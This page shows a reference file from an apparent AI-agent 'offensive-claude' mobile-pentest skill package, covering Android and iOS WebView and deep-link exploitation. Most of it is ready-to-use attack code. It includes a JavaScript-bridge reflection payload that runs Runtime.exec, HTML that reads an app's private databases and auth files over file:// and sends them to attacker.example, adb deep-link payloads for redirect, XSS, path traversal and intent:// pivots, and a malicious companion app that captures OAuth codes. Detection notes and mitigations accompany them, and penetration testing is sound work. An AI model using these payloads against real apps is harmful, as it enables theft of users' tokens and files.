hypnguyen1209/offensive-claude / skills/mobile-pentest
mobile-pentest
UnverifiedUse when pentesting an Android/iOS app — Frida 17 instrumentation, SSL-pinning & root/jailbreak bypass, Android 14/15 CA injection, exported-component/content-provider abuse, deep-link/WebView chains, biometric bypass, Flutter/React-Native RE
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 10.7 KB |
| references/android-component-attacks.md | markdown | 10.5 KB |
| references/crossplatform-re-instrumentation.md | markdown | 8.9 KB |
| references/environment-interception.md | markdown | 12.1 KB |
| references/insecure-storage-crypto.md | markdown | 8.7 KB |
| references/ios-offensive.md | markdown | 8.1 KB |
| references/webview-deeplink-exploitation.md | markdown | 9.3 KB |
| scripts/android_ca_inject.sh | script | 2.8 KB |
| scripts/component_fuzz.sh | script | 4.1 KB |
| scripts/hermes_triage.py | script | 5.6 KB |
| scripts/ios_bypass_suite.js | script | 6.0 KB |
| scripts/manifest_attack_surface.py | script | 8.2 KB |
| scripts/universal_unpin.js | script | 6.7 KB |
references/webview-deeplink-exploitation.md
View on GitHub# WebView, Deep-Link & URL-Scheme Exploitation
> **ATT&CK (Mobile):** T1635 (Install Insecure/Malicious Config), T1577 (Compromise Application Executable / WebView JS-interface) · **CWE:** CWE-939, CWE-749, CWE-940
Client-side mobile attack surface where untrusted input (deep links, intent extras, web content)
reaches a WebView or auth flow: JS-interface RCE, `file://` local-file theft, deep-link →
open-redirect/XSS chains, `intent://` pivots, and OAuth custom-scheme callback hijacking.
---
## 1. WebView JavaScript-Interface RCE (CWE-749)
`addJavascriptInterface(obj, "name")` exposes a Java object's public methods to any page the WebView
loads. If the WebView ever renders attacker-controlled content (deep link, MITM on cleartext, or an
exported activity that takes a `url` extra), reflection from JS yields code execution **in the app's
sandbox**. Affects WebViews targeting API < 17 broadly; on API ≥ 17 only `@JavascriptInterface`-annotated
methods are exposed, but those methods themselves are frequently dangerous (return tokens, read files,
exec native).
```html
<!-- If a bridge object is exposed and any of its methods is reflectively reachable -->
<script>
// Classic reflection-to-Runtime.exec (works when the exposed object lacks @JavascriptInterface gating)
var rt = JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime', null).invoke(null, null);
JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', ['java.lang.String'])
.invoke(rt, ['id']);
// Realistic modern bridge abuse: exposed helper returns a session token / writes a file
fetch('https://attacker.example/x?t=' + JSBridge.getAuthToken());
</script>
```
Find the bridge statically: `grep -rn 'addJavascriptInterface' src/` and review every
`@JavascriptInterface` method. Hook at runtime to dump traffic across the bridge:
```js
Java.perform(() => {
const WV = Java.use('android.webkit.WebView');
WV.addJavascriptInterface.implementation = function (obj, name) {
console.log('[bridge] addJavascriptInterface name=' + name + ' class=' + obj.$className);
return this.addJavascriptInterface(obj, name);
};
WV.loadUrl.overload('java.lang.String').implementation = function (u) {
console.log('[webview] loadUrl ' + u); return this.loadUrl(u);
};
});
```
---
## 2. `file://` Local-File Theft (CWE-219 / dangerous WebView settings)
When a WebView sets `setJavaScriptEnabled(true)` **and** `setAllowUniversalAccessFromFileURLs(true)`
(or `setAllowFileAccessFromFileURLs(true)`), loaded HTML can read the app's private files via `file://`
and exfiltrate cross-origin.
```bash
# Deliver via an exported WebView activity that loads a file:// URL we control
adb shell am start -n com.target.app/.WebViewActivity \
--es url "file:///sdcard/Download/loot.html"
```
```html
<!-- loot.html on /sdcard -->
<script>
fetch('file:///data/data/com.target.app/databases/secrets.db')
.then(r => r.text())
.then(d => fetch('https://attacker.example/x?d=' + encodeURIComponent(btoa(d))));
fetch('file:///data/data/com.target.app/shared_prefs/auth.xml')
.then(r => r.text()).then(d => navigator.sendBeacon('https://attacker.example/p', d));
</script>
```
Audit: `grep -rnE 'setAllow(Universal|File)AccessFromFileURLs|setAllowFileAccess\(true' src/`.
---
## 3. Deep-Link & Intent-Redirect Chains
Android deep links (`<intent-filter>` with `android.intent.action.VIEW` + `BROWSABLE` + a custom
`scheme`/`host`) and App Links (`autoVerify` HTTPS) feed external URLs into the app. The recurring bug
class: a deep-link parameter (commonly `url`, `redirect`, `next`, `target`) is passed **unsanitized**
into `WebView.loadUrl()`, an HTTP redirect, or an internal router.
```bash
# Open redirect / phishing-in-WebView
adb shell am start -W -a android.intent.action.VIEW -d "myapp://web?url=https://attacker.example/login"
# XSS into a WebView (javascript: scheme or reflected param)
adb shell am start -W -a android.intent.action.VIEW -d "myapp://webview?url=javascript:alert(document.cookie)"
# Path traversal into a file-loading router
adb shell am start -W -a android.intent.action.VIEW -d "myapp://file?path=../../../../data/data/com.target.app/databases/secrets.db"
# Reach internal/non-exported component via intent:// (see android-component-attacks.md §4)
adb shell am start -a android.intent.action.VIEW -d \
"intent://x/#Intent;package=com.target.app;component=com.target.app/.internal.AdminActivity;end"
```
`scripts/component_fuzz.sh` enumerates every deep-link scheme/host from `surface.json` and sprays the
above payload classes. **Token-leak nuance**: a token carried in a deep-link path/query can leak to
third-party JS/analytics via the **Referer** header on the destination page even when the link itself is
validated — check what the WebView navigates to next.
---
## 4. OAuth Custom-Scheme Callback Hijack (CWE-940 / RFC 8252)
Any app can register a custom URI scheme. If the target uses `myapp://auth/callback` (or a poorly-scoped
`https` App Link) as an OAuth redirect URI, a **malicious co-installed app** can register the **same**
scheme; Android has no preference/ownership mechanism, so the OS may route the authorization
code/access token to the attacker app — a real, exploited class (the reason RFC 8252 discourages custom
schemes and pushes **PKCE + App Links/Universal Links + Claimed HTTPS**).
```xml
<!-- Malicious companion app: claim the victim's redirect scheme -->
<activity android:name=".Steal" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="myapp" android:host="auth"/>
</intent-filter>
</activity>
```
```java
// onCreate of .Steal — exfiltrate the intercepted code/token
Uri u = getIntent().getData();
String code = u.getQueryParameter("code"); // authorization code, or #access_token in fragment
exfil("https://attacker.example/grab?code=" + code);
```
**Mitigation to recommend**: migrate to verified App Links (Android) / Universal Links (iOS), enforce
PKCE, and validate the redirect against an allow-list server-side.
---
## 5. iOS URL Schemes & Universal Links
```bash
# Trigger a custom scheme (simulator)
xcrun simctl openurl booted "myapp://secret/admin?token=stolen"
# On device: tap a Safari link, or use the Shortcuts app to automate
```
- Enumerate from `Info.plist`: `CFBundleURLTypes` (custom schemes), `com.apple.developer.associated-domains`
(Universal Links), `LSApplicationQueriesSchemes`.
- Same OAuth-scheme-hijack risk as §4 applies to iOS custom schemes (Universal Links are domain-bound and
safer). Inspect `application(_:open:options:)` / `scene(_:openURLContexts:)` for unsanitized routing into
`WKWebView.load` or auth state.
---
## Detection
- **JS-interface RCE**: app should target API ≥ 17 and only annotate minimal `@JavascriptInterface`
methods; never `loadUrl` an untrusted origin into a WebView holding a privileged bridge. Telemetry:
WebView navigating to a non-allow-listed host; `Runtime.exec` originating from a WebView render thread.
- **file:// theft**: app should leave `setAllowUniversalAccessFromFileURLs`/`setAllowFileAccessFromFileURLs`
**false** (default since API 16/30 hardening) and use `WebViewAssetLoader`. IOC: `file://` requests to
the data dir from a WebView, cross-origin `fetch` to an external host.
- **Deep-link / intent-redirect**: validate scheme/host/params, use `autoVerify` App Links, never forward
attacker-controlled `Intent` objects. IOC: `am start ... -d "myapp://...url=http..."`; reflected param
reaching `loadUrl`.
- **OAuth scheme hijack**: detect two installed apps claiming the same redirect scheme; backend should
bind the auth code to a PKCE `code_verifier` so an intercepted code is useless.
- Sigma (mobile/logcat) for the WebView-redirect class:
```yaml
title: WebView Loads External URL from Deep Link
logsource: { product: android, service: logcat }
detection:
sel:
Message|re: 'loadUrl\((https?|javascript|file)://(?!target\.app)'
condition: sel
level: high
```
## OPSEC
- These are client-side PoCs; exfil endpoints in HTML/companion apps are attributable — use a lab-owned
collector, not a third-party paste/beacon service, in a real engagement.
- For the OAuth/scheme-hijack PoC use a dedicated malicious companion app on a device you own and uninstall
it after; do not leave it on client hardware.
- Prefer read-only file:// reads over writes; snapshot any DB before insert/traversal-write tests.
## References
- Oversecured — Android deep-link vulnerabilities & account takeover — https://oversecured.com/blog/android-deep-link-vulnerabilities
- Just Mobile Security — Deep Links & WebViews Exploitation (Part II) — https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-II
- 8kSec — Android Deep Link & WebView Exploitation — https://8ksec.io/android-deeplink-and-webview-exploitation-8ksec-blogs/
- RedFox Security — Preventing Exploitation of Deep Links — https://www.redfoxsec.com/blog/preventing-exploitation-of-deep-links
- IETF RFC 8252 — OAuth 2.0 for Native Apps (custom-scheme guidance) — https://datatracker.ietf.org/doc/html/rfc8252
- Android Developers — WebView best practices / WebViewAssetLoader — https://developer.android.com/develop/ui/views/layout/webapps/webview
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |